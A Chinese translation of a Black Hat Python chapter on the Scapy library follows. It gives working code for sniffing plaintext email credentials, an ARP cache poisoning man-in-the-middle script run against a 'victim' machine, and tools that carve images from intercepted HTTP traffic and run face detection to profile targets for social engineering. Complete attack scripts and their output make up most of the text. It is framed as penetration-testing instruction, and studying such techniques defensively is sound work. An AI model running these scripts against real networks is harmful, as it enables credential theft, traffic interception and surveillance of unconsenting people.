用 scapy 掌控网络

偶尔,你会遇到这样一个经过深思熟虑的、令人惊叹的Python库,即使用一整章的篇幅来描述它也做不到。Philippe Biondi创建了这样一个数据包操作库Scapy库。您可能在完成了这一章之后,意识到我们在前两章中让您做了很多工作,而完成的是您只需一两行Scapy代码就可以完成的工作。

Scapy强大而灵活,它的可能性几乎是无限的。我们将通过嗅探流量来窃取明文电子邮件凭证,然后ARP欺骗网络上的目标机器,这样我们就可以嗅探它们的流量。最后,我们将扩展Scapy的pcap(笔者注:过程特性分析软件包(Process Characterization Analysis Package))处理,从HTTP流量中切割出图像,然后对它们执行面部检测,以确定图像中是否存在人类。

我们建议您在Linux系统下使用Scapy,因为它是为Linux设计的。最新版本的Scapy确实支持Windows,但在本章中,我们会假设您使用的是安装了功能完整的Scapy的Kali虚拟机(VM)。如果您还没有Scapy,请访问https://scapy.net/来安装它。

现在,假设您已经渗透了目标的局域网(LAN)。您可以使用本章中将学到的技术嗅探本地网络上的流量。

窃取电子邮件证书

您已经花了一些时间来了解Python中嗅探的具体细节。让我们来了解一下Scapy嗅探包并分析其内容的接口。我们将构建一个非常简单的嗅探器来捕获简单邮件传输协议(SMTP)、邮局协议(POP3)和互联网消息访问协议(IMAP)的凭据。之后,通过将嗅探器与地址解析协议(ARP)欺骗、中间人(MITM)攻击结合起来,我们可以很容易地从网络上的其他机器窃取凭证。当然,这种技术可以应用于任何协议,也可以简单地吸收所有流量并将其存储在pcap文件中进行分析,我们也将演示这一点。

为了对Scapy有一个初步的了解,让我们首先构建一个嗅探器的骨架,它只是简单地分析和转储数据包。这个名为 sniff 的函数如下所示:

1
sniff(filter="",iface="any",prn=function,count=N)

filter 参数让我们可以为Scapy嗅探的包指定Berkeley Packet Filter (BPF,Berkeley”伯克利”包过滤)过滤器,也可以将其留空以嗅探所有包。例如,要嗅探所有HTTP数据包,您将使用 tcp port 80 的BPF过滤器。iface 参数告诉嗅探器要嗅探哪个网络接口;如果为空,Scapy将嗅探所有接口。prn 参数指定为每个匹配过滤器的包所调用的回调函数,回调函数接收包对象作为它的单个参数。count 参数指定要嗅探的数据包数量;如果它是空的,Scapy就会不停地嗅探。

让我们从创建一个简单的嗅探器开始,让它嗅探数据包并转储其内容。然后,我们将扩展它,只嗅探与电子邮件相关的部分。打开 mail_sniffer.py ,编写以下代码:

1
2
3
4
5
6
7
8
9
10
from scapy.all import sniff

[1] def packet_callback(packet):
print(packet.show())

def main():
[2] sniff(prn=packet_callback, count=1)

if __name__ == '__main__':
main()

我们首先定义回调函数,该函数将接收每个嗅探到的包[1],然后告诉Scapy开始在所有接口上嗅探[2]而不进行过滤。现在让我们运行这个脚本,您应该会看到类似如下的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py
###[ Ethernet ]###
dst = 42:26:19:1a:31:64
src = 00:0c:29:39:46:7e
type = IPv6
###[ IPv6 ]###
version = 6
tc = 0
fl = 661536
plen = 51
nh = UDP
hlim = 255
src = fe80::20c:29ff:fe39:467e
dst = fe80::1079:9d3f:d4a8:defb
###[ UDP ]###
sport = 42638
dport = domain
len = 51
chksum = 0xcf66
###[ DNS ]###
id = 22299
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'vortex.data.microsoft.com.'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None

这是多么令人难以置信的简单!我们可以看到,当在网络上收到第一个包时,回调函数使用了内置函数 packet.show 去显示报文内容,并分析一些协议信息。使用 show 是调试脚本的一种好方法,可以帮助确定你捕获了所需的输出。

现在我们已经运行了基本的嗅探器,让我们应用一个过滤器,并向回调函数添加一些规则,以提取与电子邮件相关的身份验证字符串。

在下面的示例中,我们将使用包过滤器,以便让嗅探器只显示我们感兴趣的包。我们将使用BPF语法(也称为 Wireshark style )来实现这一点。在tcpdump等工具以及在Wireshark使用包捕获过滤器中,您也将遇到这种语法。

让我们介绍一下BPF过滤器的基本语法。您可以在过滤器中使用三种信息的类型。您可以指定描述符(如特定的主机、接口或端口)、流量流向和协议,如表4-1所示。您也可以包含或忽略某类型、方向和协议,这取决于您希望在嗅探的包中看到的内容。

image-20210708200456876

例如,表达式 src 192.168.1.100 指定了过滤器只捕获来自机器192.168.1.100的包。相反的过滤器是 dst 192.168.1.100 ,它只捕获目标为192.168.1.100的数据包。同样,表达式 tcp port 110 or tcp port 25 指定了过滤器只通过来自或到达端口110或25的tcp数据包。现在让我们在示例中使用BPF语法编写一个特定的嗅探器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from scapy.all import sniff, TCP, IP
# the packet callback
def packet_callback(packet):
[1] if packet[TCP].payload:
mypacket = str(packet[TCP].payload)
[2] if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
print(f"[*] Destination: {packet[IP].dst}")
[3] print(f"[*] {str(packet[TCP].payload)}")
def main():
# fire up the sniffer
[4] sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
prn=packet_callback, store=0)
if __name__ == '__main__':
main()

这很简单吧。我们更改了 sniff 功能函数,以添加一个BPF过滤器,它只包括目的地为普通邮件端口110 (POP3)、143 (IMAP)和25 (SMTP) [4]的流量。我们还使用了一个名为 store 的新参数,当该参数设置为0时,可以确保Scapy不会将数据包保存在内存中。如果您打算让一个嗅探器长期地运行,那么使用这个参数是一个好主意,因为这样您就不会消耗大量的RAM。当调用回调函数时,我们需要检查以确保它有一个数据有效负载[1],以及有效负载是否包含典型的 USERPASS 邮件命令[2]。如果我们检测到认证字符串,我们将输出要发送到的服务器和数据包的实际数据字节[3]。

Kicking the Tires

下面是作者试图连接邮件客户端到的虚拟电子邮件帐户的一些示例输出:

1
2
3
4
5
(bhp) root@kali:/home/tim/bhp/bhp# python mail_sniffer.py
[*] Destination: 192.168.1.207
[*] b'USER tim\n'
[*] Destination: 192.168.1.207
[*] b'PASS 1234567\n'

您可以看到,我们的邮件客户端正试图登录到192.168.1.207的服务器,并通过网络发送明文凭据。这是一个非常简单的示例,演示了如何在渗透测试中使用Scapy嗅探脚本并将其转换为有用的工具。该脚本适用于邮件通信,因为我们将BPF过滤器设计为专注于与邮件相关的端口。您可以更改该过滤器来监控其他流量;例如,将其更改为tcp端口21,以监视FTP连接和凭据。

嗅探自己的流量可能很有趣,但和朋友一起实践嗅探总是更好的;让我们看看如何执行ARP欺骗攻击来嗅探同一网络上目标机器的流量。

用Scapy完成ARP缓存毒化

ARP毒化(欺骗)是黑客最古老但最有效的把戏之一。它很简单,我们将使目标机器相信我们已经成为了它的网关,我们还将使网关相信,为了到达目标机器,所有的流量都必须通过我们。网络上的每台计算机都维护着一个ARP缓存,它存储着与本地网络上的IP地址相匹配的最新的MAC地址。我们将使用我们进入并控制的机器毒化这个缓存,以实现这种攻击。由于地址解析协议ARP(Address Resolution Protocol)和ARP毒化通常在许多其他材料中都有涉及,因此我们将留给您自己做这些必需的搜索,以了解这种攻击在较低层网络中是如何生效的。

既然我们知道了我们需要做什么,就把它付诸实践吧。当作者对此进行测试时,我们用Kali VM攻击了一台实体的Mac机器。我们还针对连接到无线接入点的多种移动设备测试了这段代码,它的效果很好。我们要做的第一件事是检查目标Mac机器上的ARP缓存,这样我们就能看到之后攻击的情况。检查以下内容来了解如何在你的Mac上检查ARP缓存:

1
2
3
4
5
6
7
8
9
10
11
MacBook-Pro:~ victim$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
ether 38:f9:d3:63:5c:48
inet6 fe80::4bc:91d7:29ee:51d8%en0 prefixlen 64 secured scopeid 0x6
inet 192.168.1.193 netmask 0xffffff00 broadcast 192.168.1.255
inet6 2600:1700:c1a0:6ee0:1844:8b1c:7fe0:79c8 prefixlen 64 autoconf secured
inet6 2600:1700:c1a0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64 autoconf temporary
inet6 2600:1700:c1a0:6ee0::31 prefixlen 64 dynamic
nd6 options=201<PERFORMNUD,DAD>
media: autoselect
status: active

ifconfig 命令显示指定接口(这里是 en0 )的网络配置,如果没有指定,则显示所有接口的网络配置。输出中显示了该设备的 inet (IPv4)地址为 192.168.1.193 。也列出了MAC地址(38:f9:d3:63:5c:48,标记为 ether )和一些IPv6地址。ARP欺骗只对IPv4有效,所以我们将忽略IPv6地址。

现在让我们看看Mac在它的ARP地址缓存中有什么。下面是它认为的邻居的MAC地址:

1
2
3
4
MacBook-Pro:~ victim$ arp -a
[1] kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on en0 ifscope
[2] dsldevice.attlocal.net (192.168.1.254) at 20:e5:64:c0:76:d0 on en0 ifscope
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]

我们可以看到攻击者[1]的Kali机器的IP地址是 192.168.1.203 ,MAC地址是 a4:5e:60:ee:17:5d 。网关将攻击者和受害者的机器都连接到互联网上。它的IP地址[2]是 192.168.1.254 ,它关联的ARP缓存项的MAC地址是 20:e5:64:c0:76:d0 。我们将记录这些值,因为我们可以在攻击发生时查看ARP缓存,并看到我们已经改变了网关上注册的MAC地址。现在我们知道了网关和目标IP地址,让我们开始编写ARP欺骗脚本。打开一个新的Python文件,命名为 arper.py ,并输入以下代码。我们将从文件的框架开始,让您了解我们将如何构造毒化攻击程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time
[1] def get_mac(targetip):
pass
class Arper:
def __init__(self, victim, gateway, interface='en0'):
pass
def run(self):
pass
2 def poison(self):
pass
3 def sniff(self, count=200):
pass
4 def restore(self):
pass
if __name__ == '__main__':
(victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
myarp = Arper(victim, gateway, interface)
myarp.run()

如您所见,我们将定义一个辅助函数来获取任何给定机器的MAC地址[1],并定义一个 Arper 类来 poison [2]、 sniff [3]和 restore [4]网络设置。让我们填充每个部分,从 get_mac 函数开始,该函数返回给定IP地址的MAC地址。我们需要目标机器和网关的MAC地址。

1
2
3
4
5
6
def get_mac(targetip):
[1] packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
[2] resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
for _, r in resp:
return r[Ether].src
return None

我们传入目标IP地址并创建一个数据包[1]。Ether 函数指定该数据包将被广播,ARP 函数指定对MAC地址的请求,询问每个节点是否有目标IP。我们使用Scapy函数 srp [2]发送数据包,该函数可以在网络层发送和接收数据包。我们在 resp 变量中得到答案,它应该包含目标IP的以太层源(MAC地址)。

接下来,让我们开始编写 Arper 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
class Arper():
[1] def __init__(self, victim, gateway, interface='en0'):
self.victim = victim
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = 0
[2] print(f'Initialized {interface}:')
print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-'*30)

我们用目标IP和网关IP初始化类,并指定要使用的接口(默认的是en0)[1]。我们用这些信息填充对象变量interfacevictimvictimmacgatewaygatewaymac,并将值打印到控制台[2]。

Arper 类中,我们编写了 run 函数,这是攻击的入口点:

1
2
3
4
5
def run(self):
[1] self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
[2] self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()

run 类函数执行 Arper 对象的主要工作。它设置并运行两个进程:一个是ARP缓存毒化[1],另一个是让我们可以通过嗅探网络流量来监视攻击进程[2]。

poison 类函数创建毒化用的数据包,并将它们发送给目标受害者和网关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def poison(self):
[1] poison_victim = ARP()
poison_victim.op = 2
poison_victim.psrc = self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victimmac
print(f'ip src: {poison_victim.psrc}')
print(f'ip dst: {poison_victim.pdst}')
print(f'mac dst: {poison_victim.hwdst}')
print(f'mac src: {poison_victim.hwsrc}')
print(poison_victim.summary())
print('-'*30)
[2] poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gatewaymac
print(f'ip src: {poison_gateway.psrc}')
print(f'ip dst: {poison_gateway.pdst}')
print(f'mac dst: {poison_gateway.hwdst}')
print(f'mac_src: {poison_gateway.hwsrc}')
print(poison_gateway.summary())
print('-'*30)
print(f'Beginning the ARP poison. [CTRL-C to stop]')
[3] while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
send(poison_victim)
send(poison_gateway)
[4] except KeyboardInterrupt:
self.restore()
sys.exit()
else:
time.sleep(2)

poison 类函数设置我们将用来毒害受害者和网关的数据。首先,我们为受害者创建一个有毒的ARP包[1]。同样,我们为网关创建了一个有毒的ARP包[2]。我们通过发送受害者的IP地址和攻击者的MAC地址来欺骗网关。同样,我们通过发送网关的IP地址和攻击者的MAC地址来欺骗目标受害者。我们将所有这些信息打印到控制台,以便能够确定数据包的目的地和有效负载。

接下来,我们开始将有毒的数据包以无限循环的方式发送到它们的目的地,以确保各自的ARP缓存项在攻击期间仍然是被毒化的[3]。循环将一直继续,直到按下CTRL-C (KeyboardInterrupt) [4],在这种情况下,我们将目标和网关恢复到正常状态(通过向受害者和网关发送正确的信息,撤消我们的毒化攻击)。

为了在攻击发生时攻击可见并记录,我们使用 sniff 类函数嗅探网络流量:

1
2
3
4
5
6
7
8
9
10
def sniff(self, count=100):
[1] time.sleep(5)
print(f'Sniffing {count} packets')
[2] bpf_filter = "ip host %s" % victim
[3] packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
[4] wrpcap('arper.pcap', packets)
print('Got the packets')
[5] self.restore()
self.poison_thread.terminate()
print('Finished.')

sniff 函数在开始嗅探之前会休眠5秒[1],以便给毒化线程时间开始工作。它嗅探大量的数据包(缺省为100)[3],过滤有受害者IP的数据包 [2]。一旦我们捕获了数据包,我们就将它们写入一个名为 arper.pacp 的文件中[4],将ARP表恢复到原来的值[5],并终止毒化线程。

最后,restore 类函数通过向每台机器发送正确的ARP信息,使受害机器和网关机器回到它们原来的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def restore(self):
print('Restoring ARP tables...')
[1] send(ARP(
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,
pdst=self.victim,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
[2] send(ARP(
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)

可以通过在 poison 类函数(如果按CTRL-C)或在 sniff 类函数(当捕获了指定数量的包时)调用 restore 类函数。它将网关的IP和MAC地址的原始值发送给受害者[1],并将受害者的IP和MAC地址的原始值发送给网关[2]。

让我们带着这个坏小子兜一圈吧!

Kicking the Tires

在开始之前,我们需要首先告诉本地主机,我们可以将数据包转发到网关和目标IP地址。如果你在Kali虚拟机上,在终端中输入以下命令:

1
> echo 1 > /proc/sys/net/ipv4/ip_forward

如果你是Apple 用户,使用以下命令:

1
> sudo sysctl -w net.inet.ip.forwarding=1

现在IP转发已经就绪,让我们启动脚本并检查目标机器的ARP缓存。在攻击的机器上运行以下命令(以root用户身份):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
> python arper.py 192.168.1.193 192.168.1.254 en0
Initialized en0:
Gateway (192.168.1.254) is at 20:e5:64:c0:76:d0.
Victim (192.168.1.193) is at 38:f9:d3:63:5c:48.
------------------------------
ip src: 192.168.1.254
ip dst: 192.168.1.193
mac dst: 38:f9:d3:63:5c:48
mac src: a4:5e:60:ee:17:5d
ARP is at a4:5e:60:ee:17:5d says 192.168.1.254
------------------------------
ip src: 192.168.1.193
ip dst: 192.168.1.254
mac dst: 20:e5:64:c0:76:d0
mac_src: a4:5e:60:ee:17:5d
ARP is at a4:5e:60:ee:17:5d says 192.168.1.193
------------------------------
Beginning the ARP poison. [CTRL-C to stop]
...Sniffing 100 packets
......Got the packets
Restoring ARP tables...
Finished.

太棒了!没有错误或其他奇怪的事。现在让我们在目标机器上验证攻击。当脚本在捕获100个数据包的过程中,我们使用 arp 命令显示受害设备上的ARP表:

1
2
3
MacBook-Pro:~ victim$ arp -a
kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on en0 ifscope
dsldevice.attlocal.net (192.168.1.254) at a4:5e:60:ee:17:5d on en0 ifscope

您现在可以看到,可怜的受害者有一个中毒的ARP缓存,这里网关现在有与攻击计算机相同的MAC地址。从网关上方的条目中可以清楚地看到,我们正在从 192.168.1.203 进行攻击。当攻击完成捕获数据包时,您应该会在与脚本在同一目录下看到一个 arper.pcap 文件。当然,您可以做一些事情,例如强制目标计算机通过Burp的本地实例代理其所有流量,或者做任何其他令人讨厌的事情。您可能想要为关于pcap处理的下一节而保留该pcap文件—您永远不知道可能会发现什么!

Pcap处理

Wireshark和其他工具(如Network Miner)非常适合交互式地分析包捕获文件,但有时你会想使用Python和Scapy切片pcap文件。一些很好的例子是用捕获到的网络流量,甚至像加载先前捕获过的流量这样简单来生成模糊测试用例。

我们将对此进行稍微不同的解释,并尝试从HTTP流量中分离出图像文件。有了这些图像文件,我们将使用OpenCV (http://www.opencv.org/)计算机视觉工具,尝试检测包含人脸的图像,以便我们可以缩小可能感兴趣的图像范围。您可以使用前面的ARP欺骗脚本来生成pcap文件,或者您可以扩展ARP欺骗嗅探器,在目标正在浏览时对图像进行实时面部检测。

这个示例将执行两个独立的任务:将图像从HTTP流量中分割出来,并检测这些图像中的人脸。为了适应这一点,我们将创建两个程序,以便您可以根据手头的任务选择分别使用它们。您也可以按顺序使用这些程序,就像我们下边所做的那样。第一个程序,recapper.py*,分析pcap文件,定位pcap文件中包含的流中存在的任何映像内容,并将这些映像写入磁盘。第二个程序 *detect .py 分析每个图像文件,以确定其中是否包含人脸。如果是,它就将新图像写入磁盘,并在图像中的每个面部周围添加一个框。

让我们从插入执行pcap分析所需的代码开始。在下面的代码中,我们将使用一个命名元组(namedtuple),这是一个Python数据结构,它的字段可以通过属性查找来访问。标准元组允许您存储一系列不可变值;它们除了不能改变元组的值几乎像列表一样。标准元组使用数字索引来访问其成员:

1
2
point = (1.1, 2.5)
print(point[0], point[1]

另一方面,namedtuple 的操作与常规元组相同,只是它也可以通过名称访问字段。这使得代码更具可读性,并且比字典更节省内存。创建 namedtuple 的语法要求是两个参数:元组的名称和用空格分隔的字段名的列表。例如,假设你想创建一个名为 Point 的数据结构,它有两个属性:x和y。你可以这样定义它:

1
Point = namedtuple('Point', ['x', 'y'])

然后,您可以使用代码 p = Point(35,65) 创建一个名为 p 的 Point 对象,并像引用类一样引用其属性:p.x和p.y引用特定Point namedtuple*的x和y属性。这比引用普通元组中某些项的索引的代码更容易阅读。在我们的例子中,假设你用下面的代码创建了一个名为 *Responsenamedtuple :

1
Response = namedtuple('Response', ['header', 'payload'])

现在,您可以使用 Response.headerResponse.payload 而不是使用普通元组的索引,这更容易理解。

让我们在本例中使用这些信息。我们将读取一个pcap文件,重组传输的任何图像,并将图像写入磁盘。打开 recapper.py 并输入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib
[1] OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'
[2] Response = collections.namedtuple('Response', ['header', 'payload'])
[3] def get_header(payload):
pass
[4] def extract_content(Response, content_name='image'):
pass
class Recapper:
def __init__(self, fname):
pass
[5] def get_responses(self):
pass
[6] def write(self, content_name):
pass
if __name__ == '__main__':
pfile = os.path.join(PCAPS, 'pcap.pcap')
recapper = Recapper(pfile)
recapper.get_responses()
recapper.write('image')

这是整个脚本的主要框架逻辑,稍后我们将添加支持函数。我们设置了导入,然后指定要输出图像的目录的位置和要读取的pcap文件的位置[1]。然后我们定义一个名为 Responsenamedtuple ,使其具有两个属性:包 header 和包 payload [2]。我们将创建两个辅助函数来获取包头[3]并提取内容[4],这些内容将与我们将定义的 Recapper 类一起使用,以重构包流中出现的图像。除了__init__, Recapper 类将有两个类函数: get_responses ,它将从pcap文件读取响应[5]; write ,它将把响应中包含的图像文件写入输出目录[6]。

让我们通过编写 get_header 函数来填充这个脚本:

1
2
3
4
5
6
7
8
9
10
11
def get_header(payload):
try:
header_raw = payload[:payload.index(b'\r\n\r\n')+2] [1]
except ValueError:
sys.stdout.write('-')
sys.stdout.flush()
return None [2]
header = dict(re.findall(r'(?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) [3]
if 'Content-Type' not in header: [4]
return None
return header

get_header 函数获取原始的HTTP流量并输出报头。我们通过查找从头开始并以一对回车和换行对结束的payload的部分来提取头文件[1]。如果有效负载不匹配该模式,我们将得到一个 ValueError ,在这种情况下,我们只需向控制台写入一个破折号(-)并返回[2]。否则,我们将从已解码的payload创建一个字典(header),以冒号分隔,以便键是冒号之前的部分,值是冒号之后的部分[3]。如果消息头没有名为 Content-Type 的键,则返回 None 来表示消息头不包含我们想要提取的数据[4]。现在让我们编写一个函数来从响应中提取内容:

1
2
3
4
5
6
7
8
9
10
11
def extract_content(Response, content_name='image'):
content, content_type = None, None
[1] if content_name in Response.header['Content-Type']:
[2] content_type = Response.header['Content-Type'].split('/')[1]
[3] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:]
[4] if 'Content-Encoding' in Response.header:
if Response.header['Content-Encoding'] == "gzip":
content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 32)
elif Response.header['Content-Encoding'] == "deflate":
content = zlib.decompress(Response.payload)
[5] return content, content_type

extract_content 函数接受HTTP响应和我们想要提取的内容类型的名称。回想一下,Response 是一个 namedtuple ,包含两个部分:头和payload(有效负载)。

如果内容已经用 gzipdeflate 之类的工具进行了编码[4],我们可以使用 zlib 模块解压缩内容。对于任何包含图像的响应,头文件将在 Content-Type 属性中具有名称 image (例如,image/png 或 image/jpg ) [1]。当这种情况发生时,我们使用头中指定的实际内容类型创建一个名为 content_type 的变量[2]。我们创建另一个变量来保存内容本身,即header之后的负载中的所有内容[3]。最后,返回 contentcontent_type [5]的元组。

完成这两个辅助函数后,让我们来填充 Recapper 功能:

1
2
3
4
5
class Recapper:
[1] def __init__(self, fname):
pcap = rdpcap(fname)
[2] self.sessions = pcap.sessions()
[3] self.responses = list()

首先,用要读取的pcap文件的名称初始化对象[1]。我们利用Scapy一个优秀的特性,自动将每个TCP会话分割成一个个包含每个完整TCP流的字典[2]。最后,我们创建一个名为 responses 的空列表,我们将用来自pcap文件的响应填充这个列表[3]。

get_responses 函数中,我们将遍历数据包以找到每个单独的 Response,并将每个响应添加到数据包流中的响应列表中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def get_responses(self):
[1] for session in self.sessions:
payload = b''
[2] for packet in self.sessions[session]:
try:
[3] if packet[TCP].dport == 80 or packet[TCP].sport == 80:
payload += bytes(packet[TCP].payload)
except IndexError:
[4] sys.stdout.write('x')
sys.stdout.flush()
if payload:
[5] header = get_header(payload)
if header is None:
continue
[6] self.responses.append(Response(header=header, payload=payload))

get_responses 函数中,我们遍历 sessions 字典[1],然后遍历每个会话中的数据包[2]。我们过滤流量,因此只得到目的端口或源端口为80的数据包[3]。然后我们将所有流量的有效负载连接到一个称为 payload 的缓冲区中。这与在Wireshark中右键单击一个数据包并选择Follow TCP Stream是一样的。如果我们没有成功地附加到有效负载变量(很可能是因为包中没有TCP流量),我们将向控制台打印一个x并继续执行[4]。

然后,在我们重新组装HTTP数据之后,如果 payload 字节字符串不是空的,我们将它传递给HTTP头解析函数 get_header [5],这使我们能够单独检查HTTP头。接下来,我们将Response附加到 response 列表[6]。

最后,我们遍历响应列表,如果响应包含一个图像,我们调用 write 函数将图像写入磁盘:

1
2
3
4
5
6
7
8
def write(self, content_name):
[1] for i, response in enumerate(self.responses):
[2] content, content_type = extract_content(response, content_name)
if content and content_type:
fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
print(f'Writing {fname}')
with open(fname, 'wb') as f:
[3] f.write(content)

提取工作完成后,write 函数只需遍历响应[1],提取内容[2],并将该内容写入文件[3]。该文件在输出目录中被创建,文件名由 enumerate 内置函数的计数器和 content_type 值构成。例如,生成的图像名称可能是 ex_2.jpg*。当我们运行这个程序时,我们创建一个 *Recapper 对象,调用它的 get_responses 函数来找到pcap文件中的所有响应,然后从这些响应中提取图像写入磁盘。

在下一个程序中,我们将检查每一张图像,以确定它是否包含人脸。对于每个有人脸的图像,我们将它写入磁盘,并在图像中的人脸周围添加一个框。打开一个名为 detect.py 的新文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'
def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
for fname in os.listdir(srcdir):
[1] if not fname.upper().endswith('.JPG'):
continue
fullname = os.path.join(srcdir, fname)
newname = os.path.join(tgtdir, fname)
[2] img = cv2.imread(fullname)
if img is None:
continue
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
[3] cascade = cv2.CascadeClassifier(training)
rects = cascade.detectMultiScale(gray, 1.3, 5)
try:
[4] if rects.any():
print('Got a face')
[5] rects[:, 2:] += rects[:, :2]
except AttributeError:
print(f'No faces found in {fname}.')
continue
# highlight the faces in the image
for x1, y1, x2, y2 in rects:
[6] cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
[7] cv2.imwrite(newname, img)
if name == '__main__':
detect()

detect 函数接收源目录、目标目录和训练目录作为输入。它遍历源目录中的JPG文件。(因为我们要找的是人脸,所以图片一般是照片,所以它们最有可能保存为 .jpg 文件[1]。)然后我们使用OpenCV计算机视觉库 cv2 [2]读取图像,加载 detector XML文件,创建 cv2 人脸检测器对象[3]。该检测器是预先训练的分类器,以检测正面人像。OpenCV包含用于轮廓(侧面)人脸检测、手、水果和一大堆其他对象的分类器,你可以自己尝试。对于发现了人脸的图像[4],分类器将返回一个矩形的坐标,该矩形对应于人脸在图像中被检测到的位置。在这种情况下,我们向控制台打印一条消息,在人面周围画一个绿色框[6],并将图像写入输出目录[7]。

从检测器返回的 rects 数据的形式为 (x, y, width, height) ,其中x, y值提供矩形左下角的坐标,而width, height值对应矩形的宽度和高度。

我们使用Python切片语法从一种形式转换为另一种形式[5]。也就是说,我们将返回的 rects 数据转换为实际坐标: (x1, y1, x1+width, y1+height) 或 (x1, y1, x2, y2) 。这就是 cv2.rectangle 类函数所期望的输入格式。

Chris Fidao在http://www.fideloper.com/facial-detection/上慷慨地分享了这个代码。这个例子对原始版本做了轻微的修改。现在让我们在你的Kali虚拟机中进行尝试。

Kicking the Tires

如果你还没有安装OpenCV库,请在你的Kali VM的终端上运行以下命令(再次感谢Chris Fidao):

1
#:> apt-get install libopencv-dev python3-opencv python3-numpy python3-scipy

这应该会安装需要处理面部检测的结果图像所有必要的文件。我们还需要抓取面部检测训练文件,像这样:

1
> wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

将下载的文件复制到 detector.py 中的TRAIN变量指定的目录下。现在为输出创建两个目录,放入pcap,并运行脚本。这看起来应该如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#:> mkdir /root/Desktop/pictures
#:> mkdir /root/Desktop/faces
#:> python recapper.py
Extracted: 189 images
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx--------------xx
Writing pictures/ex_2.gif
Writing pictures/ex_8.jpeg
Writing pictures/ex_9.jpeg
Writing pictures/ex_15.png
...
#:> python detector.py
Got a face
Got a face
...
#:>

你可能会看到OpenCV产生了许多错误消息,因为我们输入到OpenCV的一些图像可能已经损坏或部分下载而不完整,或者可能不支持它们的格式。(我们将构建健壮的图像提取和验证程序作为您的作业。)如果打开 faces 目录,您应该会看到几个文件,其中包含人像和绘制在它们周围的神奇的绿色框。

这种技术可以用来确定你的目标正在查看什么类型的内容,以及通过社会工程发现可能的方法。当然,您可以扩展这个示例而不止将其用于数据包分割的图像,可以将其与后面章节中描述的web爬虫和解析技术结合使用。